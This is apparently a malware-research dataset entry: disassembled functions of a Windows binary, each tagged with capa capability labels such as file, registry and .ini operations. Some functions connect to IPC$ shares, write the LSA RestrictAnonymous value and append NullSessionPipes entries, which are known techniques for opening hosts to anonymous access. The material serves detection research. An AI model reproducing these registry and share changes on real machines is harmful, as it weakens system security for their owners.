joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409980
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea eax, [ebp - 0x20c]
push edi
mov edi, dword [0x40df08]
push 0x208
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0x40de64
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x4099c8
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20c]
mov edx, edi
mov eax, ecx
sub edx, eax
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4099d4
lea ecx, [edi - 2]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x4099e6
mov eax, dword [str.inf_]
mov dword [ecx], eax
mov eax, dword [0x40bf14]
mov dword [ecx + 4], eax
mov eax, dword [0x40bf18]
mov dword [ecx + 8], eax
add edi, 0xfffffffe
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x409a10
push esi
mov ecx, 6
mov esi, str.mddviphw.inf
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
pop esi
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x409a40
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
lea eax, [ebp - 0x16c]
push ebx
mov ebx, dword [0x40df68]
push esi
push 0x168
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x16c]
push dword [0x40df08]
push 0x168
push eax
push 0x40bf38
push str.Signature
push str.Version
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea esi, [ebp - 0x16c]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x409a97
sub esi, ecx
sar esi, 1
je 0x409b42
push edi
lea eax, [esi + 1]
push eax
push 8
push dword [0x40df70]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push 0
push esi
mov edi, eax
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x16c]
push eax
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, edi
mov byte [esi + edi], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409ae6
sub ecx, edx
test cl, 3
je 0x409aff
shr ecx, 2
lea eax, [ecx + 1]
lea eax, [eax + eax*2]
jmp 0x409b05
shr ecx, 2
lea eax, [ecx + ecx*2]
cmp eax, 0xc8
jle 0x409b15
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push 0xc8
mov edx, ebx
mov ecx, edi
call fcn.00401120
add esp, 4
test edi, edi
je 0x409b39
push edi
push 0
push dword [0x40df70]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409c10
Capabilities:
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x30
push dword [0x40df08]
lea eax, [ebp - 0x30]
push 0x14
push eax
push 0x40bf38
push str.revision
xorps xmm0, xmm0
push str.Version
mov dword [ebp - 4], 0
movdqa xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea ecx, [ebp - 0x30]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409c66
sub ecx, edx
sar ecx, 1
je 0x409c97
push 0xa
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.msvcrt.dll_wcstoul]
add esp, 0xc
test eax, eax
je 0x409c97
mov al, 1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
xor al, al
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x409ca0
Capabilities:
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x3c
push esi
push dword [0x40df08]
lea eax, [ebp - 0x30]
push 0x14
push eax
push 0x40bf38
push str.revision
xor esi, esi
xorps xmm0, xmm0
push str.Version
mov dword [ebp - 4], 0
movdqa xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea ecx, [ebp - 0x30]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409cf5
sub ecx, edx
sar ecx, 1
je 0x409d1b
push 0xa
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.msvcrt.dll_wcstoul]
add esp, 0xc
mov esi, eax
push 0xa
lea eax, [ebp - 0x30]
push eax
lea eax, [esi + 1]
push eax
call dword [sym.imp.msvcrt.dll__itow]
add esp, 0xc
lea eax, [ebp - 0x30]
push dword [0x40df08]
push eax
push str.revision
push str.Version
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x409e40
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70c
lea eax, [ebp - 0x70c]
push ebx
mov ebx, dword [0x40df74]
push esi
push 0x708
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x70c]
push dword [0x40df08]
push 0x708
push eax
push 0x40bf38
push str.PRVK
push str.Strings
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea esi, [ebp - 0x70c]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x409e97
sub esi, ecx
sar esi, 1
je 0x409f42
push edi
lea eax, [esi + 1]
push eax
push 8
push dword [0x40df70]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push 0
push esi
mov edi, eax
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x70c]
push eax
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, edi
mov byte [esi + edi], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409ee6
sub ecx, edx
test cl, 3
je 0x409eff
shr ecx, 2
lea eax, [ecx + 1]
lea eax, [eax + eax*2]
jmp 0x409f05
shr ecx, 2
lea eax, [ecx + ecx*2]
cmp eax, 0x320
jle 0x409f15
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push 0x320
mov edx, ebx
mov ecx, edi
call fcn.00401120
add esp, 4
test edi, edi
je 0x409f39
push edi
push 0
push dword [0x40df70]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409f80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
test edi, edi
je 0x409fc8
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [ebp - 4]
push eax
mov eax, edi
sub eax, esi
push eax
lea eax, [esi + edx]
push eax
push ecx
call ebx
test eax, eax
je 0x409fd1
add esi, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
cmp esi, edi
jb 0x409fa5
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409fe0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
test edi, edi
je 0x40a035
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, edi
sub eax, esi
cmp eax, 0xf000
mov ecx, 0xf000
cmova eax, ecx
push 0
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [ebp - 8]
push eax
lea eax, [esi + edx]
push eax
push ecx
call ebx
test eax, eax
je 0x40a03e
add esi, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
cmp esi, edi
jb 0x40a005
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a390
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x640
lea eax, [ebp - 0x640]
push esi
push 0x640
push 0
push eax
mov esi, ecx
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x640]
push eax
push 0x320
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x640]
push eax
push 0
push 0x40bfb0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x640]
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
lea eax, [eax + 2]
test cx, cx
jne 0x40a3f0
mov ecx, dword [str..bak]
mov dword [eax], ecx
mov ecx, dword [0x40bfbc]
push 4
mov dword [eax + 4], ecx
mov cx, word [0x40bfc0]
push 0
push esi
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40a430
Capabilities:
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
xor edi, edi
push 0x80000000
push ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0xc], edi
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x40a52b
cmp esi, 0xffffffff
je 0x40a52b
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x40a52b
cmp edi, 0xffffffff
je 0x40a52b
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x100000
mov dword [ebp - 0x1c], eax
call dword [sym.imp.msvcrt.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x40a4d0
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x10]
push eax
push 0x100000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40a533
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], 0
xor esi, esi
push 0
lea ecx, [ebp - 0xc]
push ecx
sub eax, esi
push eax
lea eax, [ebx + esi]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40a530
add esi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
cmp esi, eax
jb 0x40a4f3
mov eax, dword [ebp - 0x14]
add eax, esi
mov esi, dword [ebp - 8]
mov dword [ebp - 0x14], eax
cmp eax, dword [ebp - 0x1c]
jb 0x40a4d0
mov byte [ebp - 1], 1
jmp 0x40a533
mov byte [ebp - 1], bl
jmp 0x40a533
mov esi, dword [ebp - 8]
test esi, esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x40a548
mov eax, dword [ebp - 8]
cmp eax, 0xffffffff
je 0x40a548
push eax
call esi
test edi, edi
je 0x40a55b
cmp edi, 0xffffffff
je 0x40a55b
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
call esi
test ebx, ebx
je 0x40a569
push ebx
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
mov bl, byte [ebp - 1]
test bl, bl
jne 0x40a579
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a600
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
lea eax, [ebp - 0x68]
push 0x64
push 0
push eax
call sub.msvcrt.dll_memset
push 0xc8
lea eax, [ebp - 0x130]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0x18
lea eax, [ebp - 0x130]
push dword [0x40df08]
push 0xc8
push eax
push 0x40bf38
push str.CLSID
push str.Version
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea ecx, [ebp - 0x130]
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a660
sub ecx, edx
sar ecx, 1
push ebx
cmp ecx, 0x10
je 0x40a747
push esi
push edi
push ecx
lea ecx, [ebp - 0x68]
call fcn.0040a590
lea edi, [ebp - 0x68]
add esp, 4
lea ecx, [edi + 1]
lea ecx, [ecx]
mov al, byte [edi]
inc edi
test al, al
jne 0x40a690
sub edi, ecx
lea esi, [edi + edi]
lea eax, [esi + 2]
push eax
push 8
push dword [0x40df70]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
mov ebx, eax
push ebx
push edi
lea eax, [ebp - 0x68]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push dword [0x40df08]
xor eax, eax
push ebx
push str.CLSID
push str.Version
mov word [esi + ebx], ax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov ecx, ebx
pop edi
lea edx, [ecx + 2]
pop esi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a6e5
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 1]
cmp eax, 0x1e
ja 0x40a72f
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a701
sub ecx, edx
sar ecx, 1
je 0x40a72f
mov edx, 0x40df0c
mov ecx, ebx
sub edx, ebx
jmp 0x40a720
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x40a720
test ebx, ebx
je 0x40a777
push ebx
push 0
push dword [0x40df70]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ecx + 1]
cmp eax, 0x1e
ja 0x40a777
test ecx, ecx
je 0x40a777
xor ecx, ecx
jmp 0x40a760
movzx eax, word [ebp + ecx - 0x130]
mov word [ecx + 0x40df0c], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x40a760
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a780
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
lea eax, [ebp - 0x3c]
push dword [0x40df08]
push 0x3c
push eax
push 0x40bf38
push str.CLSID
push str.Version
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x3c]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40a7b0
sub eax, edx
sar eax, 1
jne 0x40a7dc
push dword [0x40df08]
push str.GoldenSky
push str.Type
push str.Version
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov esp, ebp
pop ebp
ret
Function at 0x40a7e0
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
cmp byte [ecx], 0
push ebx
mov bl, dl
je 0x40a888
push ecx
push str._sipc_
lea eax, [ebp - 0x128]
push 0x104
push eax
call dword [sym.imp.msvcrt.dll__snprintf]
add esp, 0x10
cmp eax, 0xffffffff
je 0x40a86d
lea eax, [ebp - 0x128]
push 0
test bl, bl
jne 0x40a874
push 0x40b96f
mov dword [ebp - 0xc], eax
push 0x40b96f
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
call dword [sym.imp.MPR.dll_WNetAddConnection2A]
cmp eax, 5
je 0x40a859
cmp eax, 0x4c3
jne 0x40a869
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.MPR.dll_WNetAddConnection2A]
test eax, eax
je 0x40a888
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push eax
call dword [sym.imp.MPR.dll_WNetCancelConnection2A]
test eax, eax
je 0x40a888
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a890
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
push 0
lea eax, [ebp - 4]
push eax
push 0
push 3
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetServiceslanmanserverparameters
push 0x80000002
mov edi, ecx
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40a90c
mov ecx, dword [ebp - 4]
push esi
push edi
call fcn.0040a9a0
add esp, 4
mov esi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x40a90c
push 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlLSA
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x40a913
mov ecx, edi
call fcn.0040a940
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.RestrictAnonymous
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40a9a0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push eax
push 0
push 0
push 0
mov ebx, ecx
push str.NullSessionPipes
push ebx
call esi
test eax, eax
jne 0x40aa99
mov ecx, dword [ebp + 8]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a9d0
mov eax, dword [ebp - 4]
sub ecx, edx
sar ecx, 1
push edi
lea ecx, [ecx*2 + 2]
add eax, ecx
push eax
push 0
push dword [0x40df70]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x40aa11
lea eax, [edi + 0xe]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push edi
push 0
push 0
push str.NullSessionPipes
push ebx
call esi
mov esi, eax
test esi, esi
jne 0x40aa87
mov esi, dword [ebp + 8]
push eax
mov edx, esi
mov ecx, edi
call fcn.0040aba0
add esp, 4
test al, al
je 0x40aa54
push edi
push 0
push dword [0x40df70]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push dword [ebp - 8]
add eax, 0xfffffffe
add eax, edi
push esi
push eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov word [edi + eax - 2], 0
push eax
push edi
push 7
push 0
push str.NullSessionPipes
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
push edi
push 0
push dword [0x40df70]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40aaa0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push eax
push 0
push 0
push 0
mov ebx, ecx
push str.NullSessionPipes
push ebx
call esi
test eax, eax
jne 0x40ab99
mov ecx, dword [ebp + 8]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40aad0
push edi
push dword [ebp - 4]
sub ecx, edx
sar ecx, 1
push 0
push dword [0x40df70]
lea ecx, [ecx*2 + 2]
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x40ab0b
lea eax, [edi + 0xe]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push edi
push 0
push 0
push str.NullSessionPipes
push ebx
call esi
mov esi, eax
test esi, esi
jne 0x40ab87
mov edx, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
mov ecx, edi
call fcn.0040aba0
add esp, 4
test al, al
jne 0x40ab50
push edi
push 0
push dword [0x40df70]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
lea eax, [esi + 0x7b]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov esi, dword [ebp - 0xc]
sub eax, ecx
lea edx, [ecx + edi]
sub eax, esi
push eax
lea eax, [edx + esi]
push eax
push edx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 4]
add esp, 0xc
sub eax, esi
push eax
push edi
push 7
push 0
push str.NullSessionPipes
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
push edi
push 0
push dword [0x40df70]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ac2b
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x40b1f0
call fcn.0040ae38
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
or edi, 0xffffffff
mov dword [ebp - 4], edi
cmp word [0x400000], 0x5a4d
jne 0x40ac7e
mov eax, dword [0x40003c]
lea eax, [eax + 0x400000]
cmp dword [eax], 0x4550
jne 0x40ac7e
movzx ecx, word [eax + 0x18]
cmp ecx, 0x10b
je 0x40ac96
cmp ecx, 0x20b
je 0x40ac83
mov dword [ebp - 0x1c], ebx
jmp 0x40acaa
cmp dword [eax + 0x84], 0xe
jbe 0x40ac7e
xor ecx, ecx
cmp dword [eax + 0xf8], ebx
jmp 0x40aca4
cmp dword [eax + 0x74], 0xe
jbe 0x40ac7e
xor ecx, ecx
cmp dword [eax + 0xe8], ebx
setne cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 1
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
mov dword [0x40df80], edi
mov dword [0x40df84], edi
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x40dee0]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x40dedc]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40df88], eax
call fcn.0040ae32
cmp dword [section..data], ebx
jne 0x40ad07
push fcn.0040ae32
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.0040ae20
push 0x40b1e8
push 0x40b1e4
call sub.msvcrt.dll__initterm
mov eax, dword [0x40ded8]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x40ded4]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x40b1e0
push 0x40b1dc
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
cmp byte [eax], 0x22
jne 0x40ad92
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x40ad72
cmp cl, 0x22
jne 0x40ad63
cmp byte [eax], 0x22
jne 0x40ad7b
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x40ad86
cmp cl, 0x20
jbe 0x40ad77
test byte [ebp - 0x54], 1
je 0x40ad9d
movzx ecx, word [ebp - 0x50]
jmp 0x40ada0
cmp byte [eax], 0x20
jbe 0x40ad7b
inc eax
mov dword [ebp - 0x20], eax
jmp 0x40ad92
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x400000
call fcn.00407a80
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x40adbe
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], edi
jmp 0x40adfa
mov eax, esi
jmp 0x40ae0e
call fcn.0040ae73
ret
Function at 0x4027ac
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403e18
test esi, esi
jne 0x4027e2
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403f08
jmp 0x402800
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004026c0
mov edi, eax
test esi, esi
je 0x402800
cmp dword [ebx], 0
je 0x402800
dec esi
jmp 0x4027e9
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402c70
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x40b008], 0x8088405
inc edx
mov dword [ebx + 0x40b008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4032bc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40b010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403354
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403334
xor eax, eax
push ebp
push 0x40332d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403370
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403334
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40b010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40b010], ax
mov esp, ebp
pop ebp
ret

Function at 0x403c20
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40c044], 0
je 0x403c81
cmp word [0x40c218], 0xd7b2
jne 0x403c49
cmp dword [0x40c220], 0
jbe 0x403c49
mov eax, 0x40c214
call dword [0x40c230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40b054
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403ca8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40b01c], 0
jne 0x403c9d
push 0
push 0x40b074
push 0x40b054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403dd4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.0040253c
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x40c045], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403d9c
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc